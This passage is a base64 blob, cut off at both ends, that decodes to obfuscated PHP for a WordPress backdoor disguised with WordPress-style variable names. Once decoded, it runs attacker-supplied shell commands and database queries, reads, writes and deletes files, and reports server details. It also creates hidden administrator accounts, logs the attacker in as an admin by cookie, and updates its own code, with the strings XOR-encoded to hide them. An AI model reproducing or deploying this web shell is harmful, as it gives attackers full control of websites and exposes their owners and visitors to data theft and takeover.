QogICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX2NhY2hlXzBmNWMpIHsNCiAgICAgICAgICBlY2hvICdFcnJvcjogJyAuICR3cF9jYWNoZV8wZjVjLT5nZXRNZXNzYWdlKCk7DQogICAgICAgIH0NCiAgICAgICAgJF9fcHJvY19iYmJkID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIGhlYWRlcigoIlx4NDMiLmNocigxNDQgXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDExNikuY2hyKDEwMSkuIlx4NmUiLmNocigxMzkgXiAweGZmKS5jaHIoMjEwIF4gMHhmZikuY2hyKDE3MSBeIDB4ZmYpLmNocigxMzQgXiAweGZmKS5jaHIoMTEyKS5jaHIoMTAxKS5jaHIoNTgpLiJceDIwIi5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzUgXiAweGZmKS4iXHg3NCIuY2hyKDQ3KS4iXHg3MCIuIlx4NmMiLmNocigxNTggXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuIlx4NmUiKSk7DQogICAgICAgIGVjaG8gJF9fcHJvY19iYmJkOw0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgIlx4NzNceDY4XHg2NVx4NmNceDZjIjoNCiAgICAgICAgJHdwX3F1ZXJ5X2Y1OTMgPSBpc3NldCgkX1BPU1RbKGNocigxNTYgXiAweGZmKS4iXHg2ZCIuY2hyKDEwMCkpXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCiAgICAgICAgaWYgKGVtcHR5KCR3cF9xdWVyeV9mNTkzKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfaTJkZjBhNjdkPWFycmF5KDAsNjgsMjMsOTMsMjMpOyRfc2YzMDc4NWMxPSdlNmUyZTQnOyRfb2Y5Yzk9Jyc7Zm9yKCR3cF9tZXRhX2MyYmU9MDskd3BfbWV0YV9jMmJlPGNvdW50KCRfaTJkZjBhNjdkKTskd3BfbWV0YV9jMmJlKyspJF9vZjljOS49Y2hyKCRfaTJkZjBhNjdkWyR3cF9tZXRhX2MyYmVdXm9yZCgkX3NmMzA3ODVjMVskd3BfbWV0YV9jMmJlJXN0cmxlbigkX3NmMzA3ODVjMSldKSk7cmV0dXJuICRfb2Y5Yzk7fSkoKSA9PiAoIlx4NmUiLmNocigxMTEpLmNocigyMjMgXiAweGZmKS4iXHg2MyIuIlx4NmQiLiJceDY0IikpKTsgZXhpdDsgfQ0KICAgICAgICAkX19wcm9jX2JiYmQgPSAnJzsNCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskd3BfZmlsdGVyXzBmOTI9YXJyYXkoMjMsMTMsODIsMTQsMTUsMTA1LDg1LDc0LDEsNik7JF9fZGF0YV8wZmYxPSdkZTdiYzYwMic7JF9jNWY0MWUyPScnO2ZvcigkX3dwNWM0NTVhZDg9MDskX3dwNWM0NTVhZDg8Y291bnQoJHdwX2ZpbHRlcl8wZjkyKTskX3dwNWM0NTVhZDgrKykkX2M1ZjQxZTIuPWNocigkd3BfZmlsdGVyXzBmOTJbJF93cDVjNDU1YWQ4XV5vcmQoJF9fZGF0YV8wZmYxWyRfd3A1YzQ1NWFkOCVzdHJsZW4oJF9fZGF0YV8wZmYxKV0pKTtyZXR1cm4gJF9jNWY0MWUyO30pKCkpKSB7DQogICAgICAgICAgJF9fcHJvY19iYmJkID0gQCgnc2hlbCcuJ2xfZScuJ3hlJy4nYycpKCR3cF9xdWVyeV9mNTkzIC4gJyAyPiYxJyk7DQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGNocigxNTQgXiAweGZmKS5jaHIoMTIwKS5jaHIoMTAxKS4iXHg2MyIpKSkgew0KICAgICAgICAgIEAoJ2V4ZScuJ2MnKSgkd3BfcXVlcnlfZjU5MyAuICcgMj4mMScsICRfYzliZWJlNSk7DQogICAgICAgICAgJF9fcHJvY19iYmJkID0gaW1wbG9kZSgiXG4iLCAkX2M5YmViZTUpOw0KICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKChjaHIoMTQwIF4gMHhmZikuY2hyKDEyMSkuIlx4NzMiLiJceDc0Ii5jaHIoMTU0IF4gMHhmZikuY2hyKDEwOSkpKSkgew0KICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgQCgnc3knLidzdCcuJ2VtJykoJHdwX3F1ZXJ5X2Y1OTMgLiAnIDI+JjEnKTsNCiAgICAgICAgICAkX19wcm9jX2JiYmQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgfQ0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICBlY2hvICRfX3Byb2NfYmJiZDsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlICdkYic6DQogICAgICAgICRfbzE2ODIxYiA9IGlzc2V0KCRfUE9TVFsncXVlcnknXSkgPyAkX1BPU1RbIlx4NzFceDc1XHg2NVx4NzJceDc5Il0gOiAnJzsNCiAgICAgICAgaWYgKGVtcHR5KCRfbzE2ODIxYikpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgoY2hyKDE1NCBeIDB4ZmYpLiJceDcyIi5jaHIoMTQxIF4gMHhmZikuY2hyKDExMSkuIlx4NzIiKSA9PiAiXHg2ZVx4NmZceDIwXHg3MVx4NzVceDY1XHg3Mlx4NzkiKSk7IGV4aXQ7IH0NCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCgiXHg2NSIuY2hyKDE0MSBeIDB4ZmYpLmNocigxMTQpLmNocigxMTEpLiJceDcyIikgPT4gJ25vIHdwZGInKSk7IGV4aXQ7IH0NCiAgICAgICAgJF9jMDdjM2EyZTQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJF9vMTY4MjFiLCBBUlJBWV9BKTsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg3Mlx4NmZceDc3XHg3MyIgPT4gJF9jMDdjM2EyZTQsICdlcnJvcicgPT4gJHdwZGItPmxhc3RfZXJyb3IpKTsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlIChjaHIoMTAyKS5jaHIoMTA1KS5jaHIoMTQ3IF4gMHhmZikuY2hyKDEwMSkuIlx4NzMiKToNCiAgICAgICAgJF93cDhiMzE4ID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbIlx4NjFceDYzXHg3NFx4NjlceDZmXHg2ZSJdIDogKCJceDZjIi4iXHg2OSIuY2hyKDE0MCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKSk7DQogICAgICAgICRfdDZhMmYgPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9fY2FjaGVfNjIzZD1hcnJheSg3Miw4NywyMyw5MSk7JF9fYnVmXzA4NjQ9Jzg2YzMyY2EnOyRfY2ZmNDI9Jyc7Zm9yKCRfZmEyNzU9MDskX2ZhMjc1PGNvdW50KCRfX2NhY2hlXzYyM2QpOyRfZmEyNzUrKykkX2NmZjQyLj1jaHIoJF9fY2FjaGVfNjIzZFskX2ZhMjc1XV5vcmQoJF9fYnVmXzA4NjRbJF9mYTI3NSVzdHJsZW4oJF9fYnVmXzA4NjQpXSkpO3JldHVybiAkX2NmZjQyO30pKCldIDogQUJTUEFUSDsNCiAgICAgICAgaWYgKCRfd3A4YjMxOCA9PT0gJ2xpc3QnKSB7DQogICAgICAgICAgJF9faW5pdF8yMmJhID0gQHNjYW5kaXIoJF90NmEyZik7DQogICAgICAgICAgJF9xNGM5NjZmID0gYXJyYXkoKTsNCiAgICAgICAgICBpZiAoJF9faW5pdF8yMmJhKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkX19pbml0XzIyYmEgYXMgJF93cDIzYTBjKSB7DQogICAgICAgICAgICAgIGlmICgkX3dwMjNhMGMgPT09ICcuJyB8fCAkX3dwMjNhMGMgPT09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAkX2NmODc2NjgyID0gJF90NmEyZiAuICcvJyAuICRfd3AyM2EwYzsNCiAgICAgICAgICAgICAgJF9xNGM5NjZmW10gPSBhcnJheSgoY2hyKDE0NSBeIDB4ZmYpLmNocig5NykuIlx4NmQiLmNocigxMDEpKSA9PiAkX3dwMjNhMGMsICJceDY0XHg2OVx4NzIiID0+IGlzX2RpcigkX2NmODc2NjgyKSwgIlx4NzNceDY5XHg3YVx4NjUiID0+IGlzX2ZpbGUoJF9jZjg3NjY4MikgPyBmaWxlc2l6ZSgkX2NmODc2NjgyKSA6IDAsICdtdGltZScgPT4gZmlsZW10aW1lKCRfY2Y4NzY2ODIpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgICAgaGVhZGVyKChmdW5jdGlvbigpeyRfdDdiNTQ5PWFycmF5KDExNyw5NCw5Miw2OSw4Myw5NSw3MCwyOCw5OCw3Miw2Niw4NCwxMiwxNyw4Myw2NSw3MCw5Myw5MSw4Miw4Nyw2OSw5MSw5NCw4OCwzMCw4OCw2Niw4OSw5NSk7JF9fbG9hZF8wNmFiPSc2MTIxJzskd3BfYWN0aW9uXzUwZjU9Jyc7Zm9yKCRfX2NhY2hlXzJiMmU9MDskX19jYWNoZV8yYjJlPGNvdW50KCRfdDdiNTQ5KTskX19jYWNoZV8yYjJlKyspJHdwX2FjdGlvbl81MGY1Lj1jaHIoJF90N2I1NDlbJF9fY2FjaGVfMmIyZV1eb3JkKCRfX2xvYWRfMDZhYlskX19jYWNoZV8yYjJlJXN0cmxlbigkX19sb2FkXzA2YWIpXSkpO3JldHVybiAkd3BfYWN0aW9uXzUwZjU7fSkoKSk7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX3E0Yzk2NmYpOw0KICAgICAgICB9IGVsc2VpZiAoJF93cDhiMzE4ID09PSAncmVhZCcpIHsNCiAgICAgICAgICAkX2NhNWE4YmMgPSBAKCdmaScuJ2xlX2cnLidldF8nLidjb24nLid0ZW4nLid0cycpKCRfdDZhMmYpOw0KICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgICAgZWNobyAkX2NhNWE4YmMgIT09IGZhbHNlID8gJF9jYTVhOGJjIDogKGZ1bmN0aW9uKCl7JF9jOTY1ZWY9YXJyYXkoMTE0LDk4LDEwMSwxMjcsMTAxLDEwLDIzLDgzLDg2LDk0LDg5LDk1LDY3LDE2LDY5LDg1LDg2LDg0KTskX19yZWZfZTg0Zj0nNzA3MCc7JF9fYnVmX2NmZmE9Jyc7Zm9yKCRfX2NmZ18xNjk2PTA7JF9fY2ZnXzE2OTY8Y291bnQoJF9jOTY1ZWYpOyRfX2NmZ18xNjk2KyspJF9fYnVmX2NmZmEuPWNocigkX2M5NjVlZlskX19jZmdfMTY5Nl1eb3JkKCRfX3JlZl9lODRmWyRfX2NmZ18xNjk2JXN0cmxlbigkX19yZWZfZTg0ZildKSk7cmV0dXJuICRfX2J1Zl9jZmZhO30pKCk7DQogICAgICAgIH0gZWxzZWlmICgkX3dwOGIzMTggPT09ICd3cml0ZScpIHsNCiAgICAgICAgICAkX2NhNWE4YmMgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9pOGRiZWVjOD1hcnJheSg4NCw5Miw4NiwyMyw4NCw4LDY3KTskd3Bfc2Vzc2lvbl83Y2MxPSc3MzhjMWYnOyR3cF9tZXRhXzliZmE9Jyc7Zm9yKCRfaDhjNDVmZmFkPTA7JF9oOGM0NWZmYWQ8Y291bnQoJF9pOGRiZWVjOCk7JF9oOGM0NWZmYWQrKykkd3BfbWV0YV85YmZhLj1jaHIoJF9pOGRiZWVjOFskX2g4YzQ1ZmZhZF1eb3JkKCR3cF9zZXNzaW9uXzdjYzFbJF9oOGM0NWZmYWQlc3RybGVuKCR3cF9zZXNzaW9uXzdjYzEpXSkpO3JldHVybiAkd3BfbWV0YV85YmZhO30pKCldKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAgICAgJF9fcmVmXzgwMmQgPSBfbGQzYTk5KCRfdDZhMmYsICRfY2E1YThiYywgMSwgdHJ1ZSk7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+ICRfX3JlZl84MDJkKSk7DQogICAgICAgIH0gZWxzZWlmICgkX3dwOGIzMTggPT09ICdkZWxldGUnKSB7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF90NmEyZikpKTsNCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgKGNocigxNTAgXiAweGZmKS5jaHIoMTEwKS5jaHIoMTUzIF4gMHhmZikuIlx4NmYiKToNCiAgICAgICAgJF93cDRmNTcgPSBhcnJheSgNCiAgICAgICAgICAiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCiAgICAgICAgICAnd3AnID0+IGdldF9ibG9naW5mbygiXHg3Nlx4NjVceDcyXHg3M1x4NjlceDZmXHg2ZSIpLA0KICAgICAgICAgICdvcycgPT4gUEhQX09TLA0KICAgICAgICAgICdzYXBpJyA9PiBwaHBfc2FwaV9uYW1lKCksDQogICAgICAgICAgJ3VzZXInID0+IGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSA/IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSlbJ25hbWUnXSA6IGdldF9jdXJyZW50X3VzZXIoKSwNCiAgICAgICAgICAnZG9jX3Jvb3QnID0+ICRfU0VSVkVSWyJceDQ0XHg0Zlx4NDNceDU1XHg0ZFx4NDVceDRlXHg1NFx4NWZceDUyXHg0Zlx4NGZceDU0Il0gPz8gJycsDQogICAgICAgICAgJ2Fic3BhdGgnID0+IEFCU1BBVEgsDQogICAgICAgICAgJ2NvbnRlbnRfZGlyJyA9PiBXUF9DT05URU5UX0RJUiwNCiAgICAgICAgICAnZGJfcHJlZml4JyA9PiAkR0xPQkFMU1sndGFibGVfcHJlZml4J10gPz8gJ3dwXycsDQogICAgICAgICAgJ29wZW5zc2wnID0+IGV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSwNCiAgICAgICAgICAoZnVuY3Rpb24oKXskd3Bfc2Vzc2lvbl8yNGNiPWFycmF5KDg1LDEzLDY0LDgyLDgxLDg0LDkzLDg1KTskX3dwMmY3ZTAxND0nMWQzMzM4OCc7JF9jYTM1NmRkOD0nJztmb3IoJF9fbG9hZF83OWYyPTA7JF9fbG9hZF83OWYyPGNvdW50KCR3cF9zZXNzaW9uXzI0Y2IpOyRfX2xvYWRfNzlmMisrKSRfY2EzNTZkZDguPWNocigkd3Bfc2Vzc2lvbl8yNGNiWyRfX2xvYWRfNzlmMl1eb3JkKCRfd3AyZjdlMDE0WyRfX2xvYWRfNzlmMiVzdHJsZW4oJF93cDJmN2UwMTQpXSkpO3JldHVybiAkX2NhMzU2ZGQ4O30pKCkgPT4gaW5pX2dldCgiXHg2NFx4NjlceDczXHg2MVx4NjJceDZjXHg2NVx4NWZceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4NzMiKSwNCiAgICAgICAgICAnbWVtb3J5JyA9PiBpbmlfZ2V0KChjaHIoMTQ2IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLiJceDZkIi4iXHg2ZiIuIlx4NzIiLmNocigxMjEpLmNocig5NSkuY2hyKDEwOCkuIlx4NjkiLiJceDZkIi5jaHIoMTUwIF4gMHhmZikuIlx4NzQiKSksDQogICAgICAgICAgJ3VwbG9hZF9tYXgnID0+IGluaV9nZXQoKCJceDc1Ii5jaHIoMTEyKS5jaHIoMTQ3IF4gMHhmZikuY2hyKDE0NCBeIDB4ZmYpLmNocig5NykuIlx4NjQiLmNocigxNjAgXiAweGZmKS5jaHIoMTQ2IF4gMHhmZikuIlx4NjEiLmNocigxMjApLmNocig5NSkuIlx4NjYiLmNocigxMDUpLmNocigxMDgpLmNocigxNTQgXiAweGZmKS4iXHg3MyIuY2hyKDE1MCBeIDB4ZmYpLmNocigxMjIpLmNocigxNTQgXiAweGZmKSkpLA0KICAgICAgICApOw0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRfd3A0ZjU3KTsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlIChjaHIoMTA0KS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1NSBeIDB4ZmYpLmNocigxMDApLmNocigxMDEpLiJceDZlIi5jaHIoOTUpLiJceDYxIi4iXHg2NCIuY2hyKDEwOSkuIlx4NjkiLmNocigxNDUgXiAweGZmKSk6DQogICAgICAgICRfd3AwZjU4OCA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICdjcmVhdGUnOw0KICAgICAgICAkX3dwN2VhNiA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgICAgICAkX2M0MDhiMzJmID0gaXNzZXQoJF9QT1NUWydwYXNzJ10pID8gJF9QT1NUWyhmdW5jdGlvbigpeyRfbWVjY2RhYj1hcnJheSg3Myw4Myw2NSw3MSk7JF93cGUyYmI4ZTc9JzkyMjRmMCc7JF93cDcxYTZlMz0nJztmb3IoJF9vMzg2OTY9MDskX28zODY5Njxjb3VudCgkX21lY2NkYWIpOyRfbzM4Njk2KyspJF93cDcxYTZlMy49Y2hyKCRfbWVjY2RhYlskX28zODY5Nl1eb3JkKCRfd3BlMmJiOGU3WyRfbzM4Njk2JXN0cmxlbigkX3dwZTJiYjhlNyldKSk7cmV0dXJuICRfd3A3MWE2ZTM7fSkoKV0gOiB3cF9nZW5lcmF0ZV9wYXNzd29yZCgxNiwgdHJ1ZSwgdHJ1ZSk7DQoKICAgICAgICBpZiAoJF93cDBmNTg4ID09PSAnY3JlYXRlJykgew0KICAgICAgICAgIGlmICh1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpKSB7DQogICAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpOw0KICAgICAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRfYzQwOGIzMmYsICRfY2ZnMzUyZik7DQogICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRfY2ZnMzUyZiA9IHdwX2luc2VydF91c2VyKGFycmF5KA0KICAgICAgICAgICAgICAndXNlcl9sb2dpbicgPT4gJF93cDdlYTYsDQogICAgICAgICAgICAgIChjaHIoMTM4IF4gMHhmZikuY2hyKDExNSkuY2hyKDE1NCBeIDB4ZmYpLmNocigxNDEgXiAweGZmKS5jaHIoOTUpLiJceDcwIi4iXHg2MSIuY2hyKDExNSkuY2hyKDExNSkpID0+ICRfYzQwOGIzMmYsDQogICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfd3A5MjM3ZjEyPWFycmF5KDE2LDE2LDYsNzAsMTExLDcsODgsNCwxMCwxNSk7JF9fY2FjaGVfNTg5Mz0nZWNjNDBiNSc7JF9xMzhiZjkwPScnO2ZvcigkX19jYWNoZV9iZjMzPTA7JF9fY2FjaGVfYmYzMzxjb3VudCgkX3dwOTIzN2YxMik7JF9fY2FjaGVfYmYzMysrKSRfcTM4YmY5MC49Y2hyKCRfd3A5MjM3ZjEyWyRfX2NhY2hlX2JmMzNdXm9yZCgkX19jYWNoZV81ODkzWyRfX2NhY2hlX2JmMzMlc3RybGVuKCRfX2NhY2hlXzU4OTMpXSkpO3JldHVybiAkX3EzOGJmOTA7fSkoKSA9PiAkX3dwN2VhNiAuICdAJyAuIHBhcnNlX3VybChzaXRlX3VybCgpLCBQSFBfVVJMX0hPU1QpLA0KICAgICAgICAgICAgICAncm9sZScgPT4gKGZ1bmN0aW9uKCl7JF9fb3B0XzMxOWQ9YXJyYXkoODEsOTIsOTIsOTEsOTQsODEsNjYsNzAsNjYsODksNjksOTMsNjYpOyRfX2NmZ18wNWNhPScwODEyJzskX3dwMmViNDBmNz0nJztmb3IoJHdwX2ZpbHRlcl80NDZhPTA7JHdwX2ZpbHRlcl80NDZhPGNvdW50KCRfX29wdF8zMTlkKTskd3BfZmlsdGVyXzQ0NmErKykkX3dwMmViNDBmNy49Y2hyKCRfX29wdF8zMTlkWyR3cF9maWx0ZXJfNDQ2YV1eb3JkKCRfX2NmZ18wNWNhWyR3cF9maWx0ZXJfNDQ2YSVzdHJsZW4oJF9fY2ZnXzA1Y2EpXSkpO3JldHVybiAkX3dwMmViNDBmNzt9KSgpLA0KICAgICAgICAgICAgICAoZnVuY3Rpb24oKXskd3BfYWN0aW9uX2U4NGM9YXJyYXkoODQsOTAsMjIsNzMsODgsODEsNzQsNTgsODcsODUsOTMsODYpOyRfX2J1Zl9iMTIxPScwM2U5NCc7JF9sZDBmZDFmPScnO2ZvcigkX2gxZDI5PTA7JF9oMWQyOTxjb3VudCgkd3BfYWN0aW9uX2U4NGMpOyRfaDFkMjkrKykkX2xkMGZkMWYuPWNocigkd3BfYWN0aW9uX2U4NGNbJF9oMWQyOV1eb3JkKCRfX2J1Zl9iMTIxWyRfaDFkMjklc3RybGVuKCRfX2J1Zl9iMTIxKV0pKTtyZXR1cm4gJF9sZDBmZDFmO30pKCkgPT4gKCJceDU3Ii4iXHg2ZiIuIlx4NzIiLiJceDY0Ii5jaHIoMTc1IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpLmNocigxMDEpLiJceDczIi5jaHIoMTE1KS5jaHIoMjIzIF4gMHhmZikuY2hyKDgzKS5jaHIoMTE3KS5jaHIoMTEyKS5jaHIoMTEyKS4iXHg2ZiIuY2hyKDExNCkuY2hyKDEzOSBeIDB4ZmYpKSwNCiAgICAgICAgICAgICkpOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gIWlzX3dwX2Vycm9yKCRfY2ZnMzUyZiksIChmdW5jdGlvbigpeyRfX29wdF81Mzk3PWFycmF5KDE0LDg4LDgzLDgwLDEzKTskX2NhZDM3YTE2PSdiNzQ5Y2I2JzskX3dwZTUwNDlkPScnO2ZvcigkX3dwYWNkMThkOD0wOyRfd3BhY2QxOGQ4PGNvdW50KCRfX29wdF81Mzk3KTskX3dwYWNkMThkOCsrKSRfd3BlNTA0OWQuPWNocigkX19vcHRfNTM5N1skX3dwYWNkMThkOF1eb3JkKCRfY2FkMzdhMTZbJF93cGFjZDE4ZDglc3RybGVuKCRfY2FkMzdhMTYpXSkpO3JldHVybiAkX3dwZTUwNDlkO30pKCkgPT4gJF93cDdlYTYsIChjaHIoMTEyKS5jaHIoOTcpLiJceDczIi5jaHIoMTE1KSkgPT4gJF9jNDA4YjMyZiwgJ3VpZCcgPT4gaXNfd3BfZXJyb3IoJF9jZmczNTJmKSA/IDAgOiAkX2NmZzM1MmYpKTsNCiAgICAgICAgfSBlbHNlaWYgKCRfd3AwZjU4OCA9PT0gJ2RlbGV0ZScpIHsNCiAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoJF93cDdlYTYpOw0KICAgICAgICAgIGlmICgkX2NmZzM1MmYpIHsNCiAgICAgICAgICAgIHJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJyk7DQogICAgICAgICAgICB3cF9kZWxldGVfdXNlcigkX2NmZzM1MmYpOw0KICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IHRydWUsIChmdW5jdGlvbigpeyRfX2RhdGFfNGVjZT1hcnJheSg3LDkzLDg5LDg3LDcxLDgyLDApOyRfYzE4ZDIxZWU9J2M4NTIzN2QnOyRfX2NmZ182YzhlPScnO2ZvcigkX19kYXRhX2VmOTY9MDskX19kYXRhX2VmOTY8Y291bnQoJF9fZGF0YV80ZWNlKTskX19kYXRhX2VmOTYrKykkX19jZmdfNmM4ZS49Y2hyKCRfX2RhdGFfNGVjZVskX19kYXRhX2VmOTZdXm9yZCgkX2MxOGQyMWVlWyRfX2RhdGFfZWY5NiVzdHJsZW4oJF9jMThkMjFlZSldKSk7cmV0dXJuICRfX2NmZ182YzhlO30pKCkgPT4gJF9jZmczNTJmKSk7DQogICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnbm90IGZvdW5kJykpOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgKCJceDYxIi4iXHg3NSIuIlx4NzQiLmNocigxNDQgXiAweGZmKS5jaHIoMTA4KS5jaHIoMTExKS5jaHIoMTUyIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTApKToNCiAgICAgICAgJF9jMzRiNjVkNWEgPSAkR0xPQkFMU1snX2Y5OTM1MzEnXTsNCiAgICAgICAgJF9jZmczNTJmID0gdXNlcm5hbWVfZXhpc3RzKCRfYzM0YjY1ZDVhKTsNCiAgICAgICAgaWYgKCEkX2NmZzM1MmYpIHsNCiAgICAgICAgICAkX2NmZzM1MmYgPSB1c2VybmFtZV9leGlzdHMoIlx4NjFceDY0XHg2ZFx4NjlceDZlIik7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRfY2ZnMzUyZikgew0KICAgICAgICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX2NmZzM1MmYsIHRydWUpOw0KICAgICAgICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJF9jZmczNTJmKTsNCiAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+IChjaHIoMTEwKS5jaHIoMTExKS5jaHIoMzIpLmNocigxMTcpLiJceDczIi5jaHIoMTU0IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpKSkpOw0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgJ3UnOg0KICAgICAgICAkd3BfYWN0aW9uXzNkZTEgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9zZmMyOGM9YXJyYXkoOTAsOTIsNiw4Nyk7JHdwX3Rva2VuXzc5YWY9JzkzYjIyOWUnOyRfYzJjYzQ4ND0nJztmb3IoJF9zNzIwOTQ1ZD0wOyRfczcyMDk0NWQ8Y291bnQoJF9zZmMyOGMpOyRfczcyMDk0NWQrKykkX2MyY2M0ODQuPWNocigkX3NmYzI4Y1skX3M3MjA5NDVkXV5vcmQoJHdwX3Rva2VuXzc5YWZbJF9zNzIwOTQ1ZCVzdHJsZW4oJHdwX3Rva2VuXzc5YWYpXSkpO3JldHVybiAkX2MyY2M0ODQ7fSkoKV0pID8gJF9QT1NUWydjb2RlJ10gOiAnJzsNCiAgICAgICAgaWYgKHN0cmxlbigkd3BfYWN0aW9uXzNkZTEpIDwgMTAwMCB8fCBzdHJwb3MoJHdwX2FjdGlvbl8zZGUxLCAoZnVuY3Rpb24oKXskX2NiMDBlMT1hcnJheSg5MCwxMywxNywxMCw2OCk7JHdwX2hvb2tfOWZlNz0nZjJhYjQ2Zic7JHdwX3F1ZXJ5X2EzYmE9Jyc7Zm9yKCRfYzU1Mjg9MDskX2M1NTI4PGNvdW50KCRfY2IwMGUxKTskX2M1NTI4KyspJHdwX3F1ZXJ5X2EzYmEuPWNocigkX2NiMDBlMVskX2M1NTI4XV5vcmQoJHdwX2hvb2tfOWZlN1skX2M1NTI4JXN0cmxlbigkd3BfaG9va185ZmU3KV0pKTtyZXR1cm4gJHdwX3F1ZXJ5X2EzYmE7fSkoKSkgIT09IDApIHsNCiAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gJ2ludmFsaWQgY29kZScpKTsNCiAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQogICAgICAgICRfd3BhYWU0ID0gX3dwNjIwOTUoKTsNCiAgICAgICAgJF9fcmVmXzgwMmQgPSBfbGQzYTk5KCRfd3BhYWU0LCAkd3BfYWN0aW9uXzNkZTEsIDUwMCwgdHJ1ZSk7DQogICAgICAgIGlmICgkX19yZWZfODAyZCkgew0KICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJEdMT0JBTFNbJ19jYjVlNzcnXSwgKCdiYXMnLidlNicuJzRfZScuJ25jJy4nb2RlJykoJHdwX2FjdGlvbl8zZGUxKSwgJ25vJyk7DQogICAgICAgICAgc2V0X3RyYW5zaWVudCgkR0xPQkFMU1snX3YzNDJjMDEwMiddIC4gJ19pbnRlZ3JpdHknLCBtZDUoJHdwX2FjdGlvbl8zZGUxKSwgODY0MDApOw0KICAgICAgICB9DQogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJyA9PiAkX19yZWZfODAyZCkpOw0KICAgICAgICBleG